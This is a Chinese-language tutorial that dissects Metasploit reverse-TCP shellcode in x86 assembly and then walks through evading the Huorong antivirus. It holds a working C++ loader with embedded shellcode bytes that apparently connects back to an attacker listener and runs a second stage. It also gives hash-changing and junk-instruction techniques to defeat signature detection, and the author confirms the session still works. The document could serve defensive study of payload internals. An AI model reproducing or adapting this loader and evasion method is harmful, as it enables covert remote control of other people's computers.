MsfShellcode的类别
在MSF中可以设置两种类别的payload,分别是stage和stageless:
stage payload:指的是一个基本的Meterpreter payload,它需要与一个stage handler(如multi/handler
模块)一起使用才能执行。在使用过程中,stage payload会将代码的一部分加载到目标计算机的内存中,然后从stage handler模块中获取后续的指令,并在执行后续指令之前将其添加到加载到内存中的代码中。stage payload通常使用于需要最小化对目标计算机的影响,同时需要最大化控制的情况下。
stageless payload:指的是一个完整的Meterpreter payload,它可以直接从命令行执行,而无需使用stage handler模块。stageless payload会将所有代码都加载到目标计算机的内存中,并可以通过执行特定的命令(如run
命令)来启动Meterpreter会话。stageless payload通常用于需要在目标计算机上执行多个命令或进行长时间的持久性访问的情况下
分析MSF的ShellCode
1.Hash寻找系统API函数
由于ShellCode是没有PE结构的,无法通过导入表来调用系统的API函数,因此,这部分是一个通用的API调用函数,它可以根据给定的哈希值查找并调用相应的API。在查找API时,它会遍历已加载模块的列表以及每个模块的导出地址表。这个函数在Shellcode中非常重要,因为它可以让我们不用硬编码API函数地址,而是动态地查找和调用它们。
;-----------------------------------------------------------------------------;
; 作者: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; 兼容性: NT4 及更新版本
; 架构: x86
; 大小: 140 字节
;-----------------------------------------------------------------------------;
[BITS 32]
; 输入: 要调用的API的哈希和所有参数必须被推送到栈上。
; 输出: API调用的返回值将在EAX寄存器中。
; 破坏: EAX, ECX和EDX (像正常的stdcall调用约定一样)
; 未破坏: 可以期望EBX、ESI、EDI、ESP和EBP保持不变。
; 注意: 该函数假定方向标志已经通过CLD指令清除。
; 注意: 该函数无法调用已转发的导出项。
api_call:
pushad ; 保存所有寄存器给调用者,除了EAX和ECX。
mov ebp, esp ; 创建新的堆栈帧
xor edx, edx ; 将EDX清零
mov edx, [fs:edx+0x30] ; 获取PEB的指针
mov edx, [edx+0xc] ; 获取PEB->Ldr
mov edx, [edx+0x14] ; 从内存中按顺序获取模块列表的第一个模块
next_mod: ;
mov esi, [edx+0x28] ; 获取指向模块名称(Unicode字符串)的指针
movzx ecx, word [edx+0x26] ; 将ECX设置为要检查的长度
xor edi, edi ; 清除EDI,它将存储模块名称的哈希值
loop_modname: ;
xor eax, eax ; 将EAX清零
lodsb ; 读取名称的下一个字节
cmp al, 'a' ; 一些版本的Windows使用小写模块名
jl not_lowercase ;
sub al, 0x20 ; 如果是,就将其归一化为大写字母
not_lowercase: ;
ror edi, 0xd ; 将哈希值向右旋转
add edi, eax ; 添加名称的下一个字节
dec ecx
jnz loop_modname ; 循环,直到读取了足够的字节
; 现在我们已经计算出了模块哈希
push edx ; 为以后保存当前在模块列表中的位置
push edi ; 为以后保存当前模块哈希
; 继续迭代导出地址表,
mov edx, [edx+0x10] ; 获取此模块的基地址
mov eax, [edx+0x3c] ; 获取PE头
add eax, edx ; 添加模块的基地址
mov eax, [eax+0x78] ; 获取导出表的RVA
test eax, eax ; 测试是否没有导出地址表
jz get_next_mod1 ; 如果没有EAT,则处理下一个模块
add eax, edx ; 添加模块的基地址
push eax ; 保存当前模块的EAT
mov ecx, [eax+0x18] ; 获取函数名称的数量
mov ebx, [eax+0x20] ; 获取函数名称的RVA
add ebx, edx ; 添加模块的基地址
; 计算模块哈希 + 函数哈希
get_next_func: ;
test ecx, ecx ; 由于下面的随机jmp产生的较大偏移量而更改自jcxz
jz get_next_mod ; 当我们到达EAT的开始(我们向后搜索)时,处理下一个模块
dec ecx ; 减少函数名称计数器
mov esi, [ebx+ecx4] ; 获取下一个模块名称的RVA
add esi, edx ; 添加模块的基地址
xor edi, edi ; 清除EDI,它将存储函数名称的哈希值
; 并将其与我们要搜索的哈希值进行比较
loop_funcname: ;
xor eax, eax ; 将EAX清零
lodsb ; 读取ASCII函数名称的下一个字节
ror edi, 0xd ; 将哈希值向右旋转
add edi, eax ; 添加名称的下一个字节
cmp al, ah ; 将AL(名称的下一个字节)与AH(空值)进行比较
jne loop_funcname ; 如果我们没有到达空终止符,就继续循环
add edi, [ebp-8] ; 将当前模块哈希添加到函数哈希中
cmp edi, [ebp+0x24] ; 将哈希与我们要搜索的哈希进行比较
jnz get_next_func ; 如果我们没有找到它,就去计算下一个函数哈希
; 如果找到了,则修复堆栈,调用函数,然后返回值,否则计算下一个...
pop eax ; 恢复当前模块的EAT
mov ebx, [eax+0x24] ; 获取序数表的RVA
add ebx, edx ; 添加模块的基地址
mov cx, [ebx+2ecx] ; 获取所需函数的序数
mov ebx, [eax+0x1c] ; 获取函数地址表的RVA
add ebx, edx ; 添加模块的基地址
mov eax, [ebx+4*ecx] ; 获取所需函数的RVA
add eax, edx ; 将模块的基地址添加到获取函数的实际VA中
; 现在我们修复堆栈并调用所需的函数...
finish:
mov [esp+0x24], eax ; 用即将进行的popad覆盖旧的EAX值
pop ebx ; 清除当前模块哈
pop ebx ; 清除当前在模块列表中的位置
popad ; 恢复调用者的所有寄存器,除了被破坏的EAX、ECX和EDX
pop ecx ; 弹出调用者将要推送的原始返回地址
pop edx ; 弹出调用者将要推送的哈希值
push ecx ; 推回正确的返回值
jmp eax ; 跳转到所需的函数
; 现在我们会自动返回到正确的调用者...
get_next_mod: ;
pop eax ; 弹出当前(现在是上一个)模块的EAT
get_next_mod1: ;
pop edi ; 弹出当前(现在是上一个)模块的哈希值
pop edx ; 恢复我们在模块列表中的位置
mov edx, [edx] ; 获取下一个模块
jmp next_mod ; 处理此模块
2.建立反向TCP连接
这部分是一个创建反向TCP连接的Shellcode。首先,它加载ws2_32.dll库以使用网络功能,并调用WSAStartup函数初始化Winsock。接下来,它创建一个TCP套接字,并尝试连接到指定的IP地址和端口。如果连接失败,它会尝试重新连接,直到成功或达到最大重试次数。连接成功后,它将套接字存储在EDI寄存器中,以便在后续的Shellcode中使用
;-----------------------------------------------------------------------------;
; 作者: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; 兼容: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
; 版本: 1.0 (2009年7月24日)
;-----------------------------------------------------------------------------;
[BITS 32]
; 输入: EBP必须是'api_call'的地址。
; 输出: EDI将是与服务器连接的套接字。
; 破坏: EAX、ESI、EDI、ESP也会被修改(-0x1A0)
reverse_tcp:
push 0x00003233 ; 将'ws2_32'、0、0的字节推送到堆栈上。
push 0x5F327377 ; ...
push esp ; 将指向"ws2_32"字符串的指针推送到堆栈上。
push 0x0726774C ; hash("kernel32.dll", "LoadLibraryA")
call ebp ; LoadLibraryA("ws2_32")
mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
sub esp, eax ; 为WSAData结构分配一些空间
push esp ; 将一个指向此结构的指针推送到堆栈上
push eax ; 将wVersionRequested参数推送到堆栈上
push 0x006B8029 ; hash("ws2_32.dll", "WSAStartup")
call ebp ; WSAStartup(0x0190, &WSAData);
push eax ; 如果成功,eax将为零,为标志参数推送零。
push eax ; 为保留参数推送空值
push eax ; 我们不指定WSAPROTOCOL_INFO结构
push eax ; 我们不指定协议
inc eax ;
push eax ; 推送SOCK_STREAM
inc eax ;
push eax ; 推送AF_INET
push 0xE0DF0FEA ; hash("ws2_32.dll", "WSASocketA")
call ebp ; WSASocketA(AF_INET, SOCK_STREAM, 0, 0, 0, 0);
xchg edi, eax ; 保存套接字以备后用,不关心eax的值
set_address:
push byte 0x05 ; 重试计数器
push 0x0100007F ; 主机127.0.0.1
push 0x5C110002 ; family为AF_INET,端口为4444
mov esi, esp ; 保存sockaddr结构的指针
try_connect:
push byte 16 ; sockaddr结构的长度
push esi ; sockaddr结构的指针
push edi ; 套接字
push 0x6174A599 ; hash("ws2_32.dll", "connect")
call ebp ; connect(s, &sockaddr, 16);
test eax,eax ; 非零表示失败
jz short connected
handle_failure:
dec dword [esi+8]
jnz; 短跳转到try_connect标签处继续尝试连接
failure:
push 0x56A2B5F0 ; 硬编码为exitprocess以控制大小
call ebp
connected:
3.接收并执行命令
这部分主要用于接收和执行来自反向TCP连接的第二阶段Payload。首先,它调用recv函数接收第二阶段Payload的长度。然后,它使用VirtualAlloc函数分配一个具有执行权限的内存缓冲区,用于存储接收到的第二阶段Payload。接下来,它通过recv函数将Payload接收到分配的缓冲区。最后,它跳转到缓冲区的地址,执行接收到的第二阶段Payload
;-----------------------------------------------------------------------------;
; 作者:Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; 兼容性:Windows 7,2008,Vista,2003,XP,2000,NT4
; 版本:1.0(2009年7月24日)
;-----------------------------------------------------------------------------;
[BITS 32]
; 兼容性:block_bind_tcp,block_reverse_tcp,block_reverse_ipv6_tcp
; 输入:EBP必须是'api_call'的地址。EDI必须是套接字。ESI是堆栈上的指针。
; 输出:无。
; 修改:EAX,EBX,ESI,(ESP也将被修改)
recv:
; 接收第二阶段的大小...
push byte 0 ; 标志
push byte 4 ; 长度 = sizeof( DWORD );
push esi ; 在堆栈上的4字节缓冲区来保存第二阶段的长度
push edi ; 已保存的套接字
push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
call ebp ; recv( s, &dwLength, 4, 0 );
; 为第二阶段分配一个RWX缓冲区
mov esi, [esi] ; 解引用指向第二阶段长度的指针
push byte 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push esi ; 推入新接收到的第二阶段长度。
push byte 0 ; NULL,因为我们不在意分配的位置。
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
; 接收并执行第二阶段...
xchg ebx, eax ; ebx = 新内存地址,用于存放新的第二阶段代码
push ebx ; 推入新第二阶段的地址,以便我们可以跳转到其中
read_more: ;
push byte 0 ; 标志
push esi ; 长度
push ebx ; 当前指向我们的第二阶段RWX缓冲区的地址
push edi ; 已保存的套接字
push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
call ebp ; recv( s, buffer, length, 0 );
add ebx, eax ; buffer += bytes_received
sub esi, eax ; length -= bytes_received, 将设置标志
jnz read_more ; 如果还有要读取的内容,则继续
ret ; 跳转到第二阶段代码中执行
总结
第一部分(api_call)是一个通用API调用函数,用于动态查找和调用API。第二部分(reverse_tcp)创建一个反向TCP连接,将本地机器连接到攻击者的监听器。第三部分(recv)负责接收并执行第二阶段Payload。这三部分共同实现了一段完整的Shellcode,用于反向连接攻击者机器并执行远程指令
免杀实战
1.修改API函数的Hash值
在MSF ShellCode的第一段汇编指令中,有一个ror指令,其后接一个立即数,这个立即数十分重要。可以发现,在上述汇编指令中每一个api函数的hash值都是固定的,这种情况就很容易被杀毒通过排查特征码查杀掉,但是可以通过修改ror指令后面的立即数来改变api函数的hash值
可使用apihashreplace.py
脚本对MSF生成的二进制Shellcode文件进行修改ror指令后的立即数值,使用方法如下, 32位系统下的ShellCode就输入32,同理64位则输入64
python3 apihashreplace.py 32 1.bin
修改完后会在当前目录生成0x?.bin
,如下图所示
2.将ShellCode写入Cpp
使用winhex或者editor工具复制bin文件的十六进制内容至C++项目中, 如下代码所示,随后生成可执行文件
#pragma comment(linker, "/section:.data,RWE")//对于内存的保护属性 可读可写可执行
//从Bin文件复制过来的ShellCode
unsigned char buf[] =
"\xFC\xE8\x8F\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B"
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0"
"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x07\x01\xC7\x49\x75\xEF\x52"
"\x8B\x52\x10\x57\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4C"
"\x01\xD0\x8B\x48\x18\x8B\x58\x20\x01\xD3\x50\x85\xC9\x74\x3C\x49"
"\x8B\x34\x8B\x31\xFF\x01\xD6\x31\xC0\xC1\xCF\x07\xAC\x01\xC7\x38"
"\xE0\x75\xF4\x03\x7D\xF8\x3B\x7D\x24\x75\xE0\x58\x8B\x58\x24\x01"
"\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89"
"\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12"
"\xE9\x80\xFF\xFF\xFF\x5D\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5F"
"\x54\x68\xd2\x53\x6e\xfc\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29"
"\xc4\x54\x50\x68\x9c\x13\x41\xc4\xff\xd5\x6a\x0a\x68\xc0\xa8\x2f"
"\x9b\x68\x02\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50"
"\x68\x2c\x9b\xfc\xa4\xff\xd5\x97\x6a\x10\x56\x57\x68\xb6\x59\xc0"
"\x0e\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00"
"\x00\x6a\x00\x6a\x04\x56\x57\x68\xe8\xd9\xce\x36\xff\xd5\x83\xf8"
"\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68"
"\x9c\xed\x92\x66\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\xe8\xd9"
"\xce\x36\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a"
"\x00\x50\x68\x3e\xba\x17\xa3\xff\xd5\x57\x68\xe6\xfc\xe1\xe2\xff"
"\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff"
"\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xfc\xd3\xf4\x5e\x6a\x00\x53"
"\xff\xd5";
void main() {
__asm {
lea eax,buf // 将buf的地址加载到eax寄存器
call eax // 使用call指令跳转到eax寄存器指向的地址(即buf),开始执行shellcode
}
}
3.定位报毒特征码
生成的可执行文件很快就被火绒干掉了,使用工具Virtest5.0来查看哪处的特征码被查杀掉了, 此处我就不演示此款工具的使用方法了,在1ceb
偏移处有4个字节被查杀了,分别是FC A4 FF D5
将可执行文件放入OD调试, 通过偏移量或者特征码跳转至FC A4 FF D5
所在位置, FF D5
表示的汇编指令是call ebp
, FC A4
属于立即数0XA4FC982C
的一部分
4.修改报毒特征码
首先判断火绒查杀的是否是立即数的内容, 在ShellCode修改立即数的报毒部分, 此处我将\xa4
的值修改成了\xa1
, 修改完后火绒没有报毒
但是通过上述MSF的Shellcode组成部分可以得知, 这个立即数表示WSASocketA
函数的地址hash值, 也就是说这段内容修改了后ShellCode就会失效
于是采用第二个方法:加花指令。这里我用点简单花指令push eax
和pop eax
, 其对应的硬编码分别是\x50
和\x58
, 将花指令添加到立即数得后面, 即报毒特征码FC A4 FF D5
的中间
再次生成可执行文件后火绒不会查杀了, 而且msf也能正常上线